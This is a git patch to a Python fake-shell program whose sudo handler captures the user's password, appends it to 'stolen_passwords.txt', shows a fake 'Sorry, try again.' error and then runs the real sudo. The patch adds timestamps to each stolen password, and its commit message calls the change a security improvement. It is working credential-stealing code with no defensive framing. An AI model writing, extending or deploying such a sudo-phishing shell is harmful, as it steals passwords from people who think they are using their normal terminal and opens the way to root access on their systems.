From b4777f9023d1794857738fac886f27947570bc6c Mon Sep 17 00:00:00 2001 From: HeXiangLong <3234374354@qq.com> Date: Wed, 2 Apr 2025 13:59:13 +0800 Subject: [PATCH] =?UTF-8?q?=E5=9C=A8=E8=AE=B0=E5=BD=95=E5=AF=86=E7=A0=81?= =?UTF-8?q?=E6=97=B6=E6=B7=BB=E5=8A=A0=E6=97=B6=E9=97=B4=E6=88=B3=EF=BC=8C?= =?UTF-8?q?=E5=A2=9E=E5=BC=BA=E5=AE=89=E5=85=A8=E6=80=A7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/main.py b/main.py index 80fafce..6411f89 100644 --- a/main.py +++ b/main.py @@ -1,4 +1,5 @@ import os, readline, time, getpass, sys, re, shlex, subprocess +from datetime import datetime # 自动补全功能,基于系统命令和当前目录的文件 def completer(text, state): @@ -61,7 +62,8 @@ def pseudo_zsh(): if args[0] == 'sudo': fake_password = getpass.getpass("Password: ") with open("stolen_passwords.txt", "a") as f: - f.write(fake_password + "\n") + current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间 + f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码 time.sleep(3) # 模拟延迟 print("Sorry, try again.") subprocess.run(args) # 重新执行 sudo 以要求真实密码